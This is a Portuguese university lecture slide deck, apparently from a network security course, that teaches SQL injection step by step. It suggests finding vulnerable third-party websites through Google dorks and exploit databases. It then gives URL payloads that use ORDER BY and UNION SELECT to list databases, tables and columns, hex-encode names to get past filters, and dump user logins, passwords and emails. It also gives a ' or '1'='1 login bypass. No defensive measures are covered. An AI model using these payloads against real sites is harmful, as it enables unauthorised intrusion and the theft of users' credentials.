You are on page 1of 34

UniSalesiano Centro Universitrio Catlico Auxilium

Segurana em Redes SQl Injection

Prof.Alexandre Marcelino da Silva


alexandre@salesiano-ata.br alexandre@vidadura.org (MSN)
1 Prof. Alexandre Marcelino

Segurana

Conceito

A SQL Injection uma forma de manipular as instrues SQL utilizados em pginas dinmicas, ou seja, pginas que contenham contedo baseado em banco de dados. O conceito bsico tentar manipular as instrues SQL e variveis que so passadas de um formulrio para outro, atravs da juno de outros comandos SQL. Isso somente possvel, se o desenvolvedor do WebSite no programou uma soluo que preveja e proteja esse tipo de problema.

2 Prof. Alexandre Marcelino

Segurana

Conceito

Cabe ressaltar que essa tcnica pode ser utilizada com qualquer linguagem de programao Server-Side Script, pois a falha no da linguagem e sim da implementao.
Vamos entender como a estrutura de um banco de dados:

3 Prof. Alexandre Marcelino

Segurana

Conceito
Database Tabelas Colunas Contedo das Colunas

4 Prof. Alexandre Marcelino

Segurana

Conceito

Uma das formas de se executar compreende localizar um site vulnervel e tentar o acesso de manipulando as tabelas atravs da insero de comandos SQL na prpria URL do website, dessa forma, possvel descobrir dados do banco de dados e ainda acessar a parte administrativa do mesmo.
Outra forma inserir tags no campos de formulrio de forma que falsifique a autenticao dos dados de login.

Vamos ver cada uma delas.


5 Prof. Alexandre Marcelino

Segurana

Inserindo SQL na URL

1) Localizar sites vulnerveis


Existem vrias formas de achar sites suscetveis ao SQLI, como por exemplo, as vrias google dorks existentes, sites onde so publicadas vulnerabilidades. Nesses sites vamos nos focar logicamente nas vulnerabilidades marcadas como "sql injection", abaixo alguns sites bons:
http://www.exploit-db.com/ http://packetstormsecurity.org/ http://killer.blackapplehost.com/Public-Sql-Scanner/v1log.txt

6 Prof. Alexandre Marcelino

Segurana

Inserindo SQL na URL Algumas vezes voc vai achar o exploit j com o caminho todo feito para se fazer a sqli, mas esse no nosso objetivo, queremos fazer na mo mesmo, ento vamos pegar algum site encontrado tanto dessa forma que citei a cima ou por dorks e vamos comear o passo a passo.

7 Prof. Alexandre Marcelino

Segurana

Inserindo SQL na URL Outra forma buscas no Google atravs de uma busca parcial de uma URL, baseada em banco de dados. Normalmente, quando realizada uma requisio em um site, passado atravs da URL um ou mais identificadores para ser realizada a busca no banco de dados, por exemplo:
http://www.salesianoata.br/faculdades/index.php?fcs=noticias&op=1119

Isso indica a passagem de identificadores FCS com o valor noticias e OP com o valor 1119.
8 Prof. Alexandre Marcelino

Segurana

Inserindo SQL na URL extremamente comum encontrarmos nomes triviais nos websites, tanto em relao aos scripts como em relao a identificadores. Nomes comuns de scripts:Noticias, new, fotos,index, principal, agenda, etc Nomes comuns de identificadores: id, cod, codigo, cod_id, id_cod, etc

9 Prof. Alexandre Marcelino

Segurana

Inserindo SQL na URL Baseado nisso voc pode utilizar a tag INURL para busca uma combinao de pginas que utilizem esses dados padres. Exemplo: inurl:noticias.php?id=

Essa combinao ir buscar scripts na linguagem PHP com o nome de NOTICIAS e que passem atravs da Url um identificador chamado ID.

10 Prof. Alexandre Marcelino

Segurana

Inserindo SQL na URL

2) Testando se o site vulnervel:


Essa etapa vamos acrescentar um " ' " na URL e esperar que retorne algum erro. Exemplo: Cdigo: http://www.site.com/news_item.php?id=1' ou Cdigo: http://www.site.com/news_item.php?id='1

11 Prof. Alexandre Marcelino

Segurana

Inserindo SQL na URL

O erro que esperamos que seja mostrado na pgina : Cdigo:


"Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /u/r/site/xxxxx/site.com/diretorio/diretorio/news_item.ph p on line 108 O erro acima diz que voc possui um erro na sntaxe da consulta Sql e pede para voc checar o manual correspondente ao SGBD que voc est utilizando. Agora que checamos o erro no site e sabemos que este vulnervel a injeo de Sql na url.
12 Prof. Alexandre Marcelino

Segurana

Inserindo SQL na URL

3) Determinando o nmero de colunas:


Precisamos agora saber quantas colunas essa database tem. Para encontrar a quantidade de Colunas/Tabelas utilizado o comando ORDER BY. Mas como utilizar este comando Sql?

Simples! Ao final da url voc adiciona o comando order by e vai adicionando uma sequncia de Colunas/Tabelas, ou seja, voc pode acionar a coluna correspondente. vamos ento solicitar ao servidor essas informaes
13 Prof. Alexandre Marcelino

Segurana

Inserindo SQL na URL

Se no aparecer nenhum erro por que esta Coluna/Tabela nmero 1 existe. Lembre-se que esta vulnerabilidade necessitamos trabalhar em cima dos erros, ento o ideal voc ir acrescentado valor at que o site retorne um erro dizendo que a Coluna/Tabela inexistente no banco de dados.
Cdigo: http://www.site.com/news_item.php?id=1 ORDER BY 1-SEM ERRO, A PGINA CARREGOU NORMAL Cdigo: http://www.site.com/news_item.php?id=1 ORDER BY 2-SEM ERRO, A PGINA CARREGOU NORMAL
14 Prof. Alexandre Marcelino

Segurana

Inserindo SQL na URL

Cdigo: http://www.site.com/news_item.php?id=1 ORDER BY 3-SEM ERRO, A PGINA CARREGOU NORMAL Cdigo: http://www.site.com/news_item.php?id=1 ORDER BY 4-SEM ERRO, A PGINA CARREGOU NORMAL Cdigo: http://www.site.com/news_item.php?id=1 ORDER BY 5-SEM ERRO, A PGINA CARREGOU NORMAL Cdigo: http://www.site.com/news_item.php?id=1 ORDER BY 6-SEM ERRO, A PGINA CARREGOU NORMAL
15 Prof. Alexandre Marcelino

Segurana

Inserindo SQL na URL

Cdigo: http://www.site.com/news_item.php?id=1 ORDER BY 7-SEM ERRO, A PGINA CARREGOU NORMAL Cdigo: http://www.site.com/news_item.php?id=1 ORDER BY 8-SEM ERRO, A PGINA CARREGOU NORMAL Cdigo: http://www.site.com/news_item.php?id=1 ORDER BY 9-ERRO! Algum erro apareceu na pgina
O que isso quer dizer? Que a tabela que est sendo utilizada na pgina tem 8 colunas.
16 Prof. Alexandre Marcelino

Segurana

Inserindo SQL na URL

4) Descobrindo qual coluna vulnervel:


Agora precisamos encontrar nessas 8 colunas qual delas vulnervel, sabendo isso, todos nossos comandos futuros sero feitos em cima dessa coluna. Para tal, iremos uilizar a funo UNION. Esta funo poderosa responsvel por unir vrios dados localizados em Colunas/Tabelas diferentes.

17 Prof. Alexandre Marcelino

Segurana

Inserindo SQL na URL

Faa a unio de todas as informaes contidas das Colunas/Tabelas 1, 2, 3, 4, 5, 6, 7 e 8 do site: http://www.site.com/news_item.php . Est e a ordem que voc atribui ao comando colocado na url do site.
Cdigo:

http://www.site.com/news_item.php?id=-1 UNION SELECT 1,2,3,4,5,6,7,8

18 Prof. Alexandre Marcelino

Segurana

Inserindo SQL na URL

Explicando a Sql: O exemplo acima vai possibilitar ao "Injectador" visualizar todas as informaes contidas nas Colunas/Tabelas 1, 2, 3, 4, 5, 6, 7 e 8 do banco. Cdigo: ...?id ... union all select 1,2,3,4,5,6,7,8

19 Prof. Alexandre Marcelino

Segurana

Inserindo SQL na URL Aps ter feito isso, deve ter sido mostrado algum nmero na tela, esse nmero indica qual coluna vulnervel(pode ser mostrado mais de uma coluna) no nosso tutorial vamos encarar como se tivesse sido mostrado o nmero 2. no se esquecer do "-" depois do =.

20 Prof. Alexandre Marcelino

Segurana

Inserindo SQL na URL

5) Descobrindo a verso do SQL:


Cdigo: http://www.site.com/news_item.php?id=-1 UNION SELECT 1,@@version,3,4,5,6,7,8- Deve ter sido mostrado algo como 5.0.91-community ou [5.0.77-log], o que importa ser a verso 5.xx, se for a verso 4.xxx esse tutorial no vai servir. Perceberam que a solicitao "@@version" foi justamente onde seria a coluna nmero 2, colocamos ela justamente ai porque descobrimos no passo anterior que a coluna nmero dois que era a vulnervel.
21 Prof. Alexandre Marcelino

Segurana

Inserindo SQL na URL

6) Achando o nome do banco de dados: Cdigo: http://www.site.com/news_item.php?id=-1 UNION SELECT 1,group_concat(schema_name),3,4,5,6,7,8 FROM information_schema.schemata
Aps esse comando ser retornado o nome do banco de dados, prestar ateno que pode aparecer mais de um nome, isso significa que alm da database da aplicao que estamos no momento, o site possui outras. Isso ocorre normalmente quando o site est hospedado em um datacenter, ou empresa de hospedagem de site.
22 Prof. Alexandre Marcelino

Segurana

Inserindo SQL na URL

Para ver apenas a da aplicao corrente, entramos com o comando:


Cdigo: http://www.site.com/news_item.php?id=-1 UNION SELECT 1,concat(database()),3,4,5,6,7,8- Vamos supor que aps esses comandos, obtemos como nome do DB a palavra Zaza, guarde esse nome, vamos usar depois.

23 Prof. Alexandre Marcelino

Segurana

Inserindo SQL na URL

7) Achando o nome das tabelas:


O comando para se achar o nome das tabelas tem a mesma lgica do comando para achar o nome do DB (Banco de dados) Cdigo: http://www.site.com/news_item.php?id=-1 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8 FROM information_schema.tables WHERE table_schema=database()--

24 Prof. Alexandre Marcelino

Segurana

Inserindo SQL na URL

Se tudo deu certo ser mostrado o nome de vrias tabelas, cabe a voc escolher de qual tabela retirar o nome das colunas(no prximo passo), para ilustrar nosso exemplo, vamos dizer que encontramos as tabelas chamadas "user,forum,files,bans
Mais ou menos o que esse comando quer dizer "junte as tabelas e pegue o nome delas do local information_schema.tables, que por sua vez pode ser encontrado na database"

25 Prof. Alexandre Marcelino

Segurana

Inserindo SQL na URL

8) Achando o nome das colunas:


Agora temos que localizar as colunas da tabela alvo. Vamos escolher a tabela user para extrairmos os nomes das colunas. Cdigo: http://www.site.com/news_item.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8 FROM information_schema.columns WHERE table_name="user"-26 Prof. Alexandre Marcelino

Segurana

Inserindo SQL na URL

Deu tudo certo? tem grandes chances que no tenha dado, nessa etapa muitas vezes voc tem variar um pouco o comando pra "enganar" o server e permitir voc fazer essa solicitao, pra isso vamos fazer o seguinte: Pegue o nome da tabela que queremos "abrir" no nosso caso a tabela com nome user. entre no site http://www.swingnote.com/tools/texttohex.php ou http://www.string-functions.com/string-hex.aspx

27 Prof. Alexandre Marcelino

Segurana

Inserindo SQL na URL

Escreva o nome da tabela e clique em "Convert", fazendo isso voc vai ter o equivalente em hexadecimal da palabra user, que no caso foi igual a "75736572" agora podemos voltar para a URL do site vulnervel e efetuar esse comando:
Cdigo: http://www.site.com/news_item.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8 FROM information_schema.columns WHERE table_name=0x75736572-28 Prof. Alexandre Marcelino

Segurana

Inserindo SQL na URL

Perceba que acrescentamos 0x antes do valor hexadecimal para informar ao server que deve interpretar aquilo como hexadecimal. Dando tudo certo, voc tem agora em mos, o nome das colunas que esto dentro da tabela user certo? Vamos usar como exemplo que dentro tabela user encontramos as colunas com os seguintes nomes "id,first_name,email,login,password", no prximo passo veremos como ver o contedo delas.

29 Prof. Alexandre Marcelino

Segurana

Inserindo SQL na URL

9) Obtendo o contedo das colunas:


Cdigo: http://www.site.com/news_item.php?id=-1 UNION SELECT 1,group_concat(login,0x3a,password,0x3a,email),3,4,5,6, 7,8 FROM user- Nesse comando solicitamos ao server para exibir o contedo das colunas "login,password e email) que esto na database chamada "fpblog" dentro da tabela "user". O que "0x3a" bom, isso serve para que o contedo dessas tabelas nos seja mostrado por um separador ":"
30 Prof. Alexandre Marcelino

Segurana

Injetando em Formulrios

O conceito tentar forjar a autenticao de login e senha. Alguns dos sites usam para autenticar os usurios, uma tabela num banco de dados relacional que contm todos os logins e senhas que tem acesso. A jogada est na forma como eles usam param autenticar usurios: uma string SQL que concatenada com o login e senha que o usurio passa num formulrio.
select * from tabelaUsuario where login="+ id_form+ ' and senha ="+senha_form+" "
31 Prof. Alexandre Marcelino

Segurana

Injetando em Formulrios

O script faz a consulta e testa: se voltou algum registro, o usurio passou as credenciais corretas. Podemos manipular essa SQL jogando nos campos de usurio e senha, valores que foram a volta de registros !!
Por exemplo: Colocamos como login o valor [' or '1'='1] (Sem cochetes) Colocamos como senha o valor [' or '1'='1] (Sem cochetes)

32 Prof. Alexandre Marcelino

Segurana

Injetando em Formulrios

Veja o SQL que resulta quando estes valores so concatenados:


select * from tabelaUsuario where user_name='"+ login_form+"' and userPasswd ='"+login Injetada --> select * from tabelaUsuario where user_name='' or '1'='1' and userPasswd='' or '1'='1' Repare que modificamos a lgica do filtro passado e agora a consulta vai voltar TODOS os registros da tabela de usurio
33 Prof. Alexandre Marcelino

Segurana

Injetando em Formulrios

No Firefox
https://addons.mozilla.org/pt-BR/firefox/addon/6727 D apoio/auxlio na injeo dos cdigos da SQL Injection.

34 Prof. Alexandre Marcelino

Segurana

You might also like